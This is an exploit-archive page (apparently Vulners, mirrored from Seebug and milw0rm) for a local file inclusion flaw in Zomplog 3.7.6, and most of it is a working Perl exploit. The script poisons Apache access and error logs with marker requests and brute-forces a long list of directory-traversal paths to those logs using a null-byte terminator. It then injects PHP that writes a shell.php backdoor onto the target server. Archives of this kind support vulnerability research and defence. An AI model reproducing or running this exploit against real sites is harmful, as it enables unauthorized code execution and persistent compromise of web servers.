Lucene search
+L

Zomplog <= 3.7.6 - Local File Inclusion Vulnerabilty (win32)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

Zomplog <= 3.7.6 - Local File Inclusion Vulnerability (win32) use IO::Socket; & fake paths created

Code

                                                #Made by Bl0od3r
#tech-bl0od3r.blogspot.com

use IO::Socket;
use Switch;
{
$port = &#34;80&#34;; #
$target = @ARGV[0]; # 
$folder = @ARGV[1]; # 
@paths=(
&#34;../../../../../var/log/httpd/access_log&#34;,
&#34;../../../../../var/log/httpd/error_log&#34;,
&#34;../apache/logs/error.log&#34;,
&#34;../apache/logs/access.log&#34;,
&#34;../../apache/logs/error.log&#34;,
&#34;../../apache/logs/access.log&#34;,
&#34;../../../apache/logs/error.log&#34;,
&#34;../../../apache/logs/access.log&#34;,
&#34;../../../../apache/logs/error.log&#34;,
&#34;../../../../apache/logs/access.log&#34;,
&#34;../../../../../apache/logs/error.log&#34;,
&#34;../../../../../apache/logs/access.log&#34;,
&#34;../logs/error.log&#34;,
&#34;../logs/access.log&#34;,
&#34;../../logs/error.log&#34;,
&#34;../../logs/access.log&#34;,
&#34;../../../logs/error.log&#34;,
&#34;../../../logs/access.log&#34;,
&#34;../../../../logs/error.log&#34;,
&#34;../../../../logs/access.log&#34;,
&#34;../../../../../logs/error.log&#34;,
&#34;../../../../../logs/access.log&#34;,
&#34;../../../../../etc/httpd/logs/access_log&#34;,
&#34;../../../../../etc/httpd/logs/access.log&#34;,
&#34;../../../../../etc/httpd/logs/error_log&#34;,
&#34;../../../../../etc/httpd/logs/error.log&#34;,
&#34;../../../../../var/www/logs/access_log&#34;,
&#34;../../../../../var/www/logs/access.log&#34;,
&#34;../../../../../usr/local/apache/logs/access_log&#34;,
&#34;../../../../../usr/local/apache/logs/access.log&#34;,
&#34;../../../../../var/log/apache/access_log&#34;,
&#34;../../../../../var/log/apache/access.log&#34;,
&#34;../../../../../var/log/access_log&#34;,
&#34;../../../../../var/www/logs/error_log&#34;,
&#34;../../../../../var/www/logs/error.log&#34;,
&#34;../../../../../usr/local/apache/logs/error_log&#34;,
&#34;../../../../../usr/local/apache/logs/error.log&#34;,
&#34;../../../../../var/log/apache/error_log&#34;,
&#34;../../../../../var/log/apache/error.log&#34;,
&#34;../../../../../var/log/access_log&#34;,
&#34;../../../../../var/log/error_log&#34;,
&#34;../../../apache/logs/access.log&#34;
);

$sack_bad=IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;,PeerAddr=&#62;$target,PeerPort=&#62;$port) || die &#34;[Error while connecting]\n&#34;;
print $sack_bad &#34;GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1\n&#34;;
print $sack_bad &#34;Host: $target\n&#34;;
print $sack_bad &#34;Connection: close\n&#34;;
close($sack_bad);

###################################################################################################################################

$sack_good=IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;,PeerAddr=&#62;$target,PeerPort=&#62;$port) || die &#34;[Error while connecting]\n&#34;;
print $sack_good &#34;GET /index.php?&AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1\n&#34;;
print $sack_good &#34;Host: $target\n&#34;;
print $sack_good &#34;Connection: close\n&#34;;
close($sack_good);
###################################################################################################################################

print &#34;[+]Fake paths created.\n&#34;;

foreach $path (@paths)
{
        $sock = IO::Socket::INET-&#62;new(Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; $target, PeerPort =&#62; $port) || die &#34;[Error while connecting]\n&#34;;
        print $sock &#34;GET &#34;.$folder.&#34;themes/default/?theme[options]=232222&settings[skin]=&#34;.$path.&#34;%00 HTTP/1.1\n&#34;;
        print $sock &#34;Host: $target\n&#34;;
        print $sock &#34;Accept: text/html\n&#34;;
        print $sock &#34;Connection: close\n\n\r\n&#34;;
        while ($answer = &#60;$sock&#62;) {
$out.=$answer;
 }

        if ($out =~ m/AAAAAAAAAAAAAAAAAAAAAAAAAAA/) {
print &#34;Found-&#62;[&#34;.$path.&#34;]&#34;;
&code();
}

}

sub code() {
$code_sock=IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;,PeerAddr=&#62;$target,PeerPort=&#62;$port) || die &#34;[Error while connecting]\n&#34;;
print $code_sock &#34;GET /&#60;?php \$file=fopen(&#39;shell.php&#39;,&#39;w&#39;);fwrite(\$file,&#39;&#60;?php include(\$_GET[file]) ?&#62;&#39;); ?&#62; HTTP/1.1\n&#34;;
print $code_sock &#34;Host: $target\n&#34;;
print $code_sock &#34;Connection: close\n\n&#34;;

print &#34;\n[+]Bad Code Injected\n&#34;;

&cmd();
}

sub cmd() {
print &#34;[+]Successfully created:shell.php\n&#34;;
exit;
}
}

# milw0rm.com [2007-03-14]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
22